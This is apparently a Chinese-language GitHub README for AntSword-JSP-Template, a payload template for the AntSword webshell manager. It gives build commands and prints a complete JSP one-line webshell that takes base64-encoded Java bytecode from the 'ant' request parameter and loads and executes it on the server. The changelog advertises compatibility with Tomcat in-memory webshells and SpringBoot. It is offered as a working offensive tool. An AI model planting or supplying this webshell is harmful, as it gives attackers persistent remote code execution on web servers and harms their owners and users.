fupinglee / AntSword-JSP-Template

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AntSword-JSP-Template v1.3

**蚁剑JSP一句话Payload

详细介绍:https://yzddmr6.tk/posts/antsword-diy-3/

编译环境:jdk7 + tomcat7

适用范围:jdk7 - jdk14

编译

手动编译

javac -cp "D:/xxxx/lib/servlet-api.jar;D:/xxx/lib/jsp-api.jar" Test.java

base64 -w 0 Test.class > Test.txt

自动编译

在build.py/build.sh中替换你的javac路径后运行,即可在./dist目录下自动生成代码模板。

Windows

python3 build.py

Linux/Mac os

./build.sh

Shell

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("ant");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

其中pageContext可以替换为request或者response,以实现对Tomcat内存Webshell的兼容

更新日志

v 1.3

  1. 兼容SpringBoot

v 1.2

  1. 修复下载文件的BUG
  2. database添加Base64编码

v 1.1

  1. 增加对Tomcat内存Webshell的兼容
  2. 兼容高版本JDK(JDK7-14)

v 1.0

  1. release

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